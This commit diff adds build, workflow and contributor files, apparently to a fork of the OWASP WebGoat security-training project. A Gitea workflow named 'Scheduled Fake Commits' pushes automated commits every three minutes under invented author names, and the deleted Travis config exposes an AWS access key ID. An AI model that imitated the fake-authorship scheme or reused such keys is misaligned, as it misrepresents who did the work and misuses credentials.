Automated commit 2 by Author Two

Not necessary to have this enabled while running WebGoat. Only helpful for development.

.dockerignore

@@ -0,0 +1,4 @@
+**
+
+!/target
+!/config/desktop

.editorconfig

@@ -0,0 +1,15 @@
+root = true
+
+[*]
+charset = utf-8
+end_of_line = lf
+indent_size = 4
+indent_style = space
+insert_final_newline = true
+max_line_length = 120
+tab_width = 4
+ij_continuation_indent_size = 8
+ij_formatter_off_tag = @formatter:off
+ij_formatter_on_tag = @formatter:on
+ij_formatter_tags_enabled = false
+ij_java_names_count_to_use_import_on_demand = 999

.gitea/workflows/release.yml

@@ -0,0 +1,134 @@
+name: Scheduled Fake Commits
+
+on:
+    # Trigger the workflow on a schedule.
+    schedule:
+        # This expression means "run every 3 minutes". Useful for testing.
+        # To revert to the original 8-hour schedule, change this to '0 */8 * * *'.
+        - cron: "*/3 * * * *"
+
+    # To trigger manually for testing, you can add workflow_dispatch:
+    # workflow_dispatch:
+
+jobs:
+    create_scheduled_commits:
+        runs-on: ubuntu-latest
+
+        steps:
+            - name: Checkout repository
+              uses: actions/checkout@v4
+              with:
+                  # Fetch the full history to ensure pushes work correctly
+                  fetch-depth: 0
+                  # Use a token with write access. This should be stored as a secret in your Gitea repo settings.
+                  # The default GITEA_TOKEN might not have push permissions, so a Personal Access Token is recommended.
+                  # Ensure you have a secret named GITEA_TOKEN in your repository settings.
+                  token: ${{ secrets.GITEA_TOKEN }} # Replace GITEA_TOKEN with the name of your secret
+
+            - name: Set up Git config
+              # Configure Git user details globally for the runner
+              run: |
+                  echo "setting up git config"
+                  git config --global user.name "Gitea Actions Bot"
+                  git config --global user.email "actions-bot@your-gitea-instance.com" # Replace with a suitable email
+                  echo "git config setup complete"
+
+            - name: Create and Push Commits
+              env:
+                  # Define your list of authors here. Each author should be on a new line,
+                  # formatted as "Author Name <author@email.com>".
+                  # For production, this should ideally be stored as a secret named FAKE_COMMIT_AUTHORS.
+                  # For debugging, you can define it directly here as you have done.
+                  AUTHOR_LIST: |
+                      Author One <author1@example.com>
+                      Author Two <author2@example.com>
+                      Author Three <author3@example.com>
+                      Author Four <author4@example.com>
+                      Author Five <author5@example.com>
+                      Author Six <author6@example.com>
+                      Author Seven <author7@example.com>
+                      Author Eight <author8@example.com>
+                      Author Nine <author9@example.com>
+                      Author Ten <author10@example.com>
+                      DWSAuthor One <dwsauthor1@example.com>
+                      DWSAuthor Two <dwsauthor2@example.com>
+                      DWSAuthor Three <dwsauthor3@example.com>
+                      DWSAuthor Four <autdwshor4@example.com>
+                      DWSAuthor Five <autdwshor5@example.com>
+                      DWSAuthor Six <autdwshor6@example.com>
+                      DWSAuthor Seven <adwsuthor7@example.com>
+                      DWSAuthor Eight <adwsuthor8@example.com>
+                      DWSAuthor Nine <autdwshor9@example.com>
+                      DWSAuthor Ten <autdwshor10@example.com>
+                  COMMIT_COUNT: 2 # Number of commits to create
+                  SLEEP_SECONDS: 15 # Delay between commits in seconds
+                  TARGET_BRANCH: main # The branch to commit to
+
+              run: |
+                  echo "starting Create and Push Commits step"
+                  echo "AUTHOR_LIST content:"
+                  echo "$AUTHOR_LIST" # Echo the content of the variable for debugging
+
+                  echo "reading author's list into array"
+                  # Read authors into a Bash array using readarray
+                  readarray -t authors <<< "$AUTHOR_LIST"
+                  echo "finished reading author's list into array"
+
+                  # Check if authors list is empty
+                  if [ ${#authors[@]} -eq 0 ]; then
+                    echo "Error: AUTHOR_LIST is empty or could not be parsed into an array."
+                    exit 1
+                  fi
+
+                  echo "Starting commit creation process..."
+                  echo "Authors available: ${#authors[@]}"
+                  echo "Commits to create: $COMMIT_COUNT"
+                  echo "Delay between commits: $SLEEP_SECONDS seconds"
+                  echo "Target branch: $TARGET_BRANCH"
+
+                  # Loop to create the specified number of commits
+                  for i in $(seq 1 $COMMIT_COUNT); do
+                    # Calculate the index for the current author, cycling through the list
+                    author_index=$(( (i - 1) % ${#authors[@]} ))
+                    current_author="${authors[$author_index]}"
+
+                    echo "Processing author: $current_author" # Debug echo
+
+                    # Extract name and email from the author string
+                    # Assumes format "Name <email>"
+                    author_name=$(echo "$current_author" | sed -E 's/^(.*) <.*>$/\1/')
+                    author_email=$(echo "$current_author" | sed -E 's/^.* <(.*)>$/\1/')
+
+                    echo "Extracted name: $author_name, email: $author_email" # Debug echo
+
+                    echo "--- Creating commit $i of $COMMIT_COUNT by $author_name ---"
+
+                    # Configure git user for this specific commit
+                    git config user.name "$author_name"
+                    git config user.email "$author_email"
+
+                    # Create a dummy change: append current timestamp and author to a file
+                    # This ensures there's always something to commit
+                    echo "$(date): Commit $i by $author_name" >> fake_commit_log.txt
+
+                    # Stage the changes
+                    git add fake_commit_log.txt
+
+                    # Commit the changes
+                    git commit -m "Automated commit $i by $author_name"
+
+                    # Push the commit to the target branch
+                    # Use --set-upstream origin $TARGET_BRANCH on the first push if needed
+                    echo "Pushing commit..."
+                    git push origin HEAD:$TARGET_BRANCH
+
+                    echo "Commit $i pushed successfully."
+
+                    # Wait for the specified delay before the next commit, unless it's the last one
+                    if [ $i -lt $COMMIT_COUNT ]; then
+                      echo "Waiting for $SLEEP_SECONDS seconds..."
+                      sleep $SLEEP_SECONDS
+                    fi
+                  done
+
+                  echo "Finished creating $COMMIT_COUNT commits."

.github/FUNDING.yml

@@ -0,0 +1 @@
+custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat

.github/dependabot.yml

@@ -0,0 +1,14 @@
+version: 2
+updates:
+    -   package-ecosystem: "github-actions"
+        directory: "/"
+        schedule:
+            interval: "weekly"
+    -   package-ecosystem: "maven"
+        directory: "/"
+        schedule:
+            interval: "weekly"
+    -   package-ecosystem: "docker"
+        directory: "/"
+        schedule:
+            interval: "weekly"

.github/lock.yml

@@ -0,0 +1,10 @@
+---
+daysUntilLock: 365
+skipCreatedBefore: false
+exemptLabels: []
+lockLabel: false
+lockComment: >
+  This thread has been automatically locked because it has not had
+  recent activity after it was closed. :lock: Please open a new issue
+  for regressions or related bugs.
+setLockReason: false

.github/stale.yml

@@ -0,0 +1,10 @@
+---
+daysUntilStale: 90
+daysUntilClose: 14
+onlyLabels:
+  - waiting for input
+  - wontfix
+staleLabel: stale
+markComment: >
+  This issue has been automatically marked as `stale` because it has not had recent activity. :calendar: It will be _closed automatically_ in one week if no further activity occurs.
+closeComment: false

.github/workflows/branchbuild.txt

@@ -0,0 +1,54 @@
+name: "Branch build"
+on:
+    push:
+      branches:
+        - "*"
+        - "!main"
+
+jobs:
+    branch-build:
+        runs-on: ${{ matrix.os }}
+        strategy:
+            matrix:
+                os: [ ubuntu-latest, windows-latest, macos-latest ]
+                java-version: [ 21 ]
+        steps:
+            -   uses: actions/checkout@v4
+            -   name: Set up JDK ${{ matrix.java-version }}
+                uses: actions/setup-java@v4
+                with:
+                    distribution: 'temurin'
+                    java-version: ${{ matrix.java-version }}
+                    architecture: x64
+            -   name: Cache Maven packages
+                uses: actions/cache@v3.3.1
+                with:
+                    path: ~/.m2
+                    key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
+                    restore-keys: ${{ runner.os }}-m2-
+            -   name: Build with Maven
+                run: mvn --no-transfer-progress verify
+            -   name: "Set up QEMU"
+                if: runner.os == 'Linux'
+                uses: docker/setup-qemu-action@v2.2.0
+            -   name: "Set up Docker Buildx"
+                if: runner.os == 'Linux'
+                uses: docker/setup-buildx-action@v2
+            -   name: "Verify Docker WebGoat build"
+                if: runner.os == 'Linux'
+                uses: docker/build-push-action@v5.1.0
+                with:
+                    context: ./
+                    file: ./Dockerfile
+                    push: false
+                    build-args: |
+                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
+            -   name: "Verify Docker WebGoat desktop build"
+                uses: docker/build-push-action@v5.1.0
+                if: runner.os == 'Linux'
+                with:
+                    context: ./
+                    file: ./Dockerfile_desktop
+                    push: false
+                    build-args: |
+                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}

.github/workflows/build.yml

@@ -0,0 +1,51 @@
+name: "Main / Pull requests build"
+on:
+    pull_request:
+        paths-ignore:
+            - '.txt'
+            - 'LICENSE'
+            - 'docs/**'
+        branches: [ main ]
+    push:
+        branches:
+            - main
+
+jobs:
+    pre-commit:
+        name: Pre-commit check
+        runs-on: ubuntu-latest
+        steps:
+            -   name: Checkout git repository
+                uses: actions/checkout@v4.1.6
+            -   name: Setup python
+                uses: actions/setup-python@v5
+                with:
+                    python-version: "3.9"
+            -   uses: actions/setup-java@v4
+                with:
+                    distribution: 'temurin'
+                    java-version: '23'
+            -   name: Pre-commit checks
+                uses: pre-commit/action@v3.0.1
+            -   name: pre-commit-c-lite
+                uses: pre-commit-ci/lite-action@v1.1.0
+                if: always()
+    build:
+        runs-on: ${{ matrix.os }}
+        needs: [ pre-commit ]
+        strategy:
+            fail-fast: true
+            matrix:
+                os: [ windows-latest, ubuntu-latest, macos-13 ]
+            max-parallel: 1
+        steps:
+            -   uses: actions/checkout@v4.1.6
+            -   name: Set up JDK 23
+                uses: actions/setup-java@v4.2.1
+                with:
+                    distribution: 'temurin'
+                    java-version: 23
+                    architecture: x64
+                    cache: 'maven'
+            -   name: Build with Maven
+                run: mvn --no-transfer-progress verify

.github/workflows/release.yml

@@ -0,0 +1,143 @@
+name: "Release Pipeline"
+on:
+  push:
+    tags:
+      - v*
+jobs:
+  release:
+    if: github.repository == 'WebGoat/WebGoat'
+    name: Release WebGoat
+    runs-on: ubuntu-latest
+    permissions:
+        contents: write
+    environment:
+      name: release
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Set up JDK 23
+        uses: actions/setup-java@v4
+        with:
+          distribution: 'temurin'
+          java-version: 23
+          architecture: x64
+          cache: 'maven'
+
+      - name: "Set labels for ${{ github.ref }}"
+        run: |
+          echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
+          WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
+          echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
+      - name: Build with Maven
+        run: |
+          mvn --no-transfer-progress versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }}
+          mvn --no-transfer-progress install -DskipTests
+
+      - name: "Create release"
+        uses: softprops/action-gh-release@v1
+        with:
+          draft: false
+          files: |
+            target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
+          body: |
+           ## Version ${{ github.ref_name }}
+
+            ### New functionality
+
+            - test
+
+            ### Bug fixes
+
+            - [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
+
+            Full change log: https://github.com/WebGoat/WebGoat/compare/${{ github.ref_name }}...${{ github.ref_name }}
+
+
+            ## Contributors
+
+            Special thanks to the following contributors providing us with a pull request:
+
+            - Person 1
+            - Person 2
+
+            And everyone who provided feedback through Github.
+
+
+            Team WebGoat
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+
+      - name: "Set up QEMU"
+        uses: docker/setup-qemu-action@v3.6.0
+        with:
+          platforms: all
+
+      - name: "Set up Docker Buildx"
+        uses: docker/setup-buildx-action@v3
+
+      - name: "Login to dockerhub"
+        uses: docker/login-action@v3.4.0
+        with:
+          username: ${{ secrets.DOCKERHUB_USERNAME }}
+          password: ${{ secrets.DOCKERHUB_TOKEN }}
+
+      - name: "Build and push WebGoat"
+        uses: docker/build-push-action@v6.16.0
+        with:
+          context: ./
+          file: ./Dockerfile
+          push: true
+          platforms: linux/amd64, linux/arm64
+          tags: |
+            webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }}
+            webgoat/webgoat:latest
+          build-args: |
+            webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
+
+      - name: "Build and push WebGoat desktop"
+        uses: docker/build-push-action@v6.16.0
+        with:
+          context: ./
+          file: ./Dockerfile_desktop
+          push: true
+          platforms: linux/amd64, linux/arm64
+          tags: |
+            webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
+            webgoat/webgoat-desktop:latest
+          build-args: |
+            webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
+  new_version:
+    if: github.repository == 'WebGoat/WebGoat'
+    name: Update to next SNAPSHOT version
+    needs: [ release ]
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Set up JDK 23
+        uses: actions/setup-java@v4
+        with:
+          distribution: 'temurin'
+          java-version: 23
+          architecture: x64
+
+      - name: Set version to next snapshot
+        run: |
+          mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
+
+      - name: Push the changes to new branch
+        uses: devops-infra/action-commit-push@v0.10.0
+        with:
+            github_token: "${{ secrets.GITHUB_TOKEN }}"
+            add_timestamp: true
+            commit_message: "Updating to the new development version"
+            force: false
+
+      - name: Create PR
+        uses: devops-infra/action-pull-request@v0.6.0
+        with:
+            github_token: "${{ secrets.GITHUB_TOKEN }}"
+            title: ${{ github.event.commits[0].message }}
+            target_branch: main

.github/workflows/welcome.yml

@@ -0,0 +1,17 @@
+name: Welcome
+
+on:
+  issues:
+    types:
+      - opened
+
+jobs:
+  greeting:
+    if: github.repository == 'WebGoat/WebGoat'
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/first-interaction@v1.3.0
+        with:
+          repo-token: ${{ secrets.GITHUB_TOKEN }}
+          issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.'
+          pr-message: 'Thanks so much for your contribution, really appreciated! We will have a look and merge it if everything checks out!'

.gitignore

@@ -14,7 +14,9 @@
 /.settings/org.eclipse.wst.validation.prefs
 /.externalToolBuilders/
 .project
-/target
+*/target/*
+*.pmd
+mongo-data/*
 .classpath
 .idea/
 .settings/
@@ -29,9 +31,33 @@ src/main/webapp/plugin_lessons/*.jar
 src/main/webapp/users/*.props
 classes/*
 *.iml
+pom.xml.versionsBackup
 
 /*.iml
 .extract/*
 UserDatabase.mv.db
 webgoat-container/src/main/webapp/users/guest.org.owasp.webgoat.plugin.*.props
 webgoat-container/src/main/webapp/plugin_lessons/dist-*.pom
+webgoat-lessons/**/target
+**/.DS_Store
+webgoat-server/mongo-data/*
+webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml
+**/.sts4-cache/*
+**/.vscode/*
+**/.factorypath
+/.sonatype
+**/bin/*
+webgoat.lck
+webgoat.log
+webgoat.properties
+webgoat.script
+TestClass.class
+**/*.flattened-pom.xml
+/.gitconfig
+
+webgoat.gitconfig
+node_modules/
+/test-results/
+/playwright-report/
+/blob-report/
+/playwright/.cache/

.mvn/wrapper/MavenWrapperDownloader.java

@@ -0,0 +1,117 @@
+/*
+ * Copyright 2007-present the original author or authors.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+import java.net.*;
+import java.io.*;
+import java.nio.channels.*;
+import java.util.Properties;
+
+public class MavenWrapperDownloader {
+
+    private static final String WRAPPER_VERSION = "0.5.5";
+    /**
+     * Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided.
+     */
+    private static final String DEFAULT_DOWNLOAD_URL = "https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/"
+        + WRAPPER_VERSION + "/maven-wrapper-" + WRAPPER_VERSION + ".jar";
+
+    /**
+     * Path to the maven-wrapper.properties file, which might contain a downloadUrl property to
+     * use instead of the default one.
+     */
+    private static final String MAVEN_WRAPPER_PROPERTIES_PATH =
+            ".mvn/wrapper/maven-wrapper.properties";
+
+    /**
+     * Path where the maven-wrapper.jar will be saved to.
+     */
+    private static final String MAVEN_WRAPPER_JAR_PATH =
+            ".mvn/wrapper/maven-wrapper.jar";
+
+    /**
+     * Name of the property which should be used to override the default download url for the wrapper.
+     */
+    private static final String PROPERTY_NAME_WRAPPER_URL = "wrapperUrl";
+
+    public static void main(String args[]) {
+        System.out.println("- Downloader started");
+        File baseDirectory = new File(args[0]);
+        System.out.println("- Using base directory: " + baseDirectory.getAbsolutePath());
+
+        // If the maven-wrapper.properties exists, read it and check if it contains a custom
+        // wrapperUrl parameter.
+        File mavenWrapperPropertyFile = new File(baseDirectory, MAVEN_WRAPPER_PROPERTIES_PATH);
+        String url = DEFAULT_DOWNLOAD_URL;
+        if(mavenWrapperPropertyFile.exists()) {
+            FileInputStream mavenWrapperPropertyFileInputStream = null;
+            try {
+                mavenWrapperPropertyFileInputStream = new FileInputStream(mavenWrapperPropertyFile);
+                Properties mavenWrapperProperties = new Properties();
+                mavenWrapperProperties.load(mavenWrapperPropertyFileInputStream);
+                url = mavenWrapperProperties.getProperty(PROPERTY_NAME_WRAPPER_URL, url);
+            } catch (IOException e) {
+                System.out.println("- ERROR loading '" + MAVEN_WRAPPER_PROPERTIES_PATH + "'");
+            } finally {
+                try {
+                    if(mavenWrapperPropertyFileInputStream != null) {
+                        mavenWrapperPropertyFileInputStream.close();
+                    }
+                } catch (IOException e) {
+                    // Ignore ...
+                }
+            }
+        }
+        System.out.println("- Downloading from: " + url);
+
+        File outputFile = new File(baseDirectory.getAbsolutePath(), MAVEN_WRAPPER_JAR_PATH);
+        if(!outputFile.getParentFile().exists()) {
+            if(!outputFile.getParentFile().mkdirs()) {
+                System.out.println(
+                        "- ERROR creating output directory '" + outputFile.getParentFile().getAbsolutePath() + "'");
+            }
+        }
+        System.out.println("- Downloading to: " + outputFile.getAbsolutePath());
+        try {
+            downloadFileFromURL(url, outputFile);
+            System.out.println("Done");
+            System.exit(0);
+        } catch (Throwable e) {
+            System.out.println("- Error downloading");
+            e.printStackTrace();
+            System.exit(1);
+        }
+    }
+
+    private static void downloadFileFromURL(String urlString, File destination) throws Exception {
+        if (System.getenv("MVNW_USERNAME") != null && System.getenv("MVNW_PASSWORD") != null) {
+            String username = System.getenv("MVNW_USERNAME");
+            char[] password = System.getenv("MVNW_PASSWORD").toCharArray();
+            Authenticator.setDefault(new Authenticator() {
+                @Override
+                protected PasswordAuthentication getPasswordAuthentication() {
+                    return new PasswordAuthentication(username, password);
+                }
+            });
+        }
+        URL website = new URL(urlString);
+        ReadableByteChannel rbc;
+        rbc = Channels.newChannel(website.openStream());
+        FileOutputStream fos = new FileOutputStream(destination);
+        fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);
+        fos.close();
+        rbc.close();
+    }
+
+}

.mvn/wrapper/maven-wrapper.properties

@@ -0,0 +1,2 @@
+distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.9.9/apache-maven-3.9.9-bin.zip
+wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar

.pre-commit-config.yaml

@@ -0,0 +1,28 @@
+ci:
+  autofix_commit_msg: |
+    [pre-commit.ci] auto fixes from pre-commit.com hooks
+  autofix_prs: false # managed in the action step
+  autoupdate_branch: ""
+  autoupdate_commit_msg: "[pre-commit.ci] pre-commit autoupdate"
+  autoupdate_schedule: weekly
+  skip: []
+  submodules: false
+repos:
+  - repo: https://github.com/pre-commit/pre-commit-hooks
+    rev: v4.4.0
+    hooks:
+      - id: check-yaml
+      - id: end-of-file-fixer
+        exclude: ^(README.md|CREATE_RELEASE.md)
+      - id: trailing-whitespace
+  - repo: https://github.com/alessandrojcm/commitlint-pre-commit-hook
+    rev: v9.5.0
+    hooks:
+      - id: commitlint
+        stages: [commit-msg]
+  - repo: https://github.com/ejba/pre-commit-maven
+    rev: v0.3.4
+    hooks:
+      - id: maven
+        args: [ 'clean compile' ]
+      - id: maven-spotless-apply

.travis.yml

@@ -1,59 +0,0 @@
-language: java
-jdk:
-  - oraclejdk7
-  - oraclejdk8
-install: "/bin/true"
-script:
-  - mvn clean install -q
-  - git clone -b develop https://github.com/WebGoat/WebGoat-Lessons.git
-  - mvn -file ./WebGoat-Lessons/pom.xml clean package -q
-  - cp -fa ./WebGoat-Lessons/target/plugins/*.jar ./webgoat-container/src/main/webapp/plugin_lessons/
-  # Start the container this will make sure we do not see the debug logging of the Tomcat 7 Maven plugin
-  # which seems to always be set to DEBUG this will fail the build because we generate too much logging
-  - nohup bash -c "java -jar ./webgoat-standalone/target/webgoat-standalone-7.1-SNAPSHOT-exec.jar --port 8888 2>&1 &"
-  - if [[ $TRAVIS_PULL_REQUEST == "false" ]]; then mvn "-Dbuild.number=$TRAVIS_BUILD_NUMBER" -q clean install failsafe:integration-test; else mvn -q failsafe:integration-test; fi
-cache:
-  directories:
-  - $HOME/.m2
-before_deploy:
-  - export WEBGOAT_CONTAINTER_TARGET_DIR=$HOME/build/$TRAVIS_REPO_SLUG/webgoat-container/target
-  - export WEBGOAT_STANDALONE_TARGET_DIR=$HOME/build/$TRAVIS_REPO_SLUG/webgoat-standalone/target
-  - export WEBGOAT_ARTIFACTS_FOLDER=$HOME/build/$TRAVIS_REPO_SLUG/Deployable_Artifacts/
-  - mkdir $WEBGOAT_ARTIFACTS_FOLDER
-  - cp -fa $WEBGOAT_CONTAINTER_TARGET_DIR/* $WEBGOAT_ARTIFACTS_FOLDER/
-  - cp -fa $WEBGOAT_STANDALONE_TARGET_DIR/* $WEBGOAT_ARTIFACTS_FOLDER/
-  - echo "Contents of artifcts folder:"
-  - ls $WEBGOAT_ARTIFACTS_FOLDER
-deploy:
-  provider: s3
-  access_key_id: AKIAJQLKPGHXRH2AH5QA
-  secret_access_key:
-    secure: 45+SwWlPFujD9FOOFLA9Lz0CaePVrn/SEsAhAn0Ve9sYpI0VsijZNymh6D29t93jBXgZoGhu/v0QJkcAA/71fQM+nGMBJjB5wmVFJ1c2A4k7tfWCVbBRI0aHGpJu12j+7BLuSfPCmCAFQGoVo7dWzfqeODe5j9Qpe9fsiQVnrKI=
-  bucket: webgoat-war
-  skip_cleanup: true
-  acl: public_read
-  local_dir: "$WEBGOAT_ARTIFACTS_FOLDER"
-  on:
-    repo: WebGoat/WebGoat
-    branch: develop
-    jdk: oraclejdk8
-after_success:
-  - mvn versioneye:update -q
-  - mvn cobertura:cobertura coveralls:report -q
-notifications:
-  slack:
-    secure: S9VFew5NSE8WDzYD1VDBUULKKT0fzgblQACznwQ85699b2yeX9TX58N3RZvRS1JVagVP1wu2xOrwN2g+AWx4Ro3UBZD5XG86uTJWpCLD4cRWHBoGMH2TfvI7/IzsWmgxH4MBxFRvZr/eEhlVAux+N9H4EoEdS4CKsJXEqV37PlA=
-env:
-  global:
-   - secure: "ZLZKz6lGt8YZ+NhkZPBAlI235+lEmu37Tcf+yTwh5yXuHAlnvvF6hPui7rANA/stbYGOIqIdhGOXbdrwyTU4Pvg78VwJOwsa9RtHJfou3pg4Ud9i0/dEeVl8aakmg2HDaWYGcFox8X1ViVc5UWjuBLztfJKQUEx0buJoWdMSf2E="
-addons:
-  sauce_connect: true
-  coverity_scan:
-    project:
-      name: "WebGoat/WebGoat"
-      description: "Coverity Scan from Travis CI Build Automation"
-    notification_email: doug.morato@owasp.org
-    build_command_prepend: "mvn clean"
-    build_command: "mvn -DskipTests=true install"
-    branch_pattern: coverity_scan
-

CODE_OF_CONDUCT.md

@@ -0,0 +1,60 @@
+# Contributor Covenant Code of Conduct
+
+## Our Pledge
+
+In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation.
+
+## Our Standards
+
+Examples of behavior that contributes to creating a positive environment include:
+
+- Using welcoming and inclusive language
+- Being respectful of differing viewpoints and experiences
+- Gracefully accepting constructive criticism
+- Focusing on what is best for the community
+- Showing empathy towards other community members
+
+Examples of unacceptable behavior by participants include:
+
+- The use of sexualized language or imagery and unwelcome sexual attention or advances
+- Trolling, insulting/derogatory comments, and personal or political attacks
+- Public or private harassment
+- Publishing others' private information, such as a physical or electronic address, without explicit permission
+- Misusing the context of the WebGoat project for commercial goals (e.g. adding sales pitches to the codebase or to communication channels used by the project, such as Slack).
+- Other conduct which could reasonably be considered inappropriate in a professional setting
+
+## Our Responsibilities
+
+Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
+
+Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
+
+## Disclaimer
+
+The WebGoat project and its materials are conceived for educational and research purposes only.
+
+Refrain from violating the laws in your country by carefully consulting them before executing any tests against web applications or other assets utilizing the WebGoat (or Webwolf) materials.
+
+The WebGoat project is also NOT supporting unethical activities in any way. If you come across such requests, please reach out to the project leaders and raise this to them.
+
+Neither OWASP, the WebGoat project leaders, authors or anyone else involved in this project is going to take responsibility for your actions.
+
+The intention of the WebGoat is not to encourage hacking or malicious activities! Instead, the goal of the project is to learn different hacking techniques and offer ways to reduce or mitigate that risk.
+
+## Scope
+
+This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community includes using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
+
+## Enforcement
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at nanne.baars@owasp.org.
+
+All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
+
+Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org "Contributor Covenant homepage"), [version 1.4](https://www.contributor-covenant.org/version/1/4/code-of-conduct.html "Code of Conduct version 1.4").
+
+For answers to common questions about this code of conduct, see [the Contributor Covenant FAQ](https://www.contributor-covenant.org/faq)

CONTRIBUTING.md

@@ -0,0 +1,119 @@
+# Contributing
+
+[![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors)
+![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg)
+![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg)
+[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
+
+This document describes how you can contribute to WebGoat. Please read it carefully.
+
+**Table of Contents**
+
+* [How to Contribute to the Project](#how-to-contribute-to-the-project)
+* [How to set up your Contributor Environment](#how-to-set-up-your-contributor-environment)
+* [How to get your PR Accepted](#how-to-get-your-pr-accepted)
+
+## How to Contribute to the project
+
+There are a couple of ways on how you can contribute to the project:
+
+* **File [issues](https://github.com/WebGoat/WebGoat/issues "Webgoat Issues")** for missing content or errors. Explain what you think is missing and give a suggestion as to where it could be added.
+* **Create a [pull request (PR)](https://github.com/WebGoat/WebGoat/pulls "Create a pull request")**. This is a direct contribution to the project and may be merged after review. You should ideally [create an issue](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues") for any PR you would like to submit, as we can first review the merit of the PR and avoid any unnecessary work. This is of course not needed for small modifications such as correcting typos.
+* **Help out financially** by donating via [OWASP donations](https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat).
+
+## How to get your PR accepted
+
+Your PR is valuable to us, and to make sure we can integrate it smoothly, we have a few items for you to consider. In short:
+The minimum requirements for code contributions are:
+
+1. The code _must_ be compliant with the configured Java Google Formatter, Checkstyle and PMD rules.
+2. All new and changed code _should_ have a corresponding unit and/or integration test.
+3. New and changed lessons _must_ have a corresponding integration test.
+4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit.
+
+Additionally, the following guidelines can help:
+
+### Keep your pull requests limited to a single issue
+
+Pull requests should be as small/atomic as possible. Large, wide-sweeping changes in a pull request will be **rejected**, with comments to isolate the specific code in your pull request. Some examples:
+
+* If you are making spelling corrections in the docs, don't modify other files.
+* If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request.
+
+### Write a good commit message
+
+* We use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) and use the following types:
+
+  - fix:
+  - feat:
+  - build:
+  - chore:
+  - ci:
+  - docs:
+  - refactor:
+  - test:
+
+  Using this style of commits makes it possible to create our release notes automatically.
+
+* Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)
+
+* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.
+
+For example: `Fix #545` or `Closes #10`
+
+## How to set up your Contributor Environment
+
+1. Create a GitHub account. Multiple different GitHub subscription plans are available, but you only need a free one. Follow [these steps](https://help.github.com/en/articles/signing-up-for-a-new-github-account "Signing up for a new GitHub account") to set up your account.
+2. Fork the repository. Creating a fork means creating a copy of the repository on your own account, which you can modify without any impact on this repository. GitHub has an [article that describes all the needed steps](https://help.github.com/en/articles/fork-a-repo "Fork a repo").
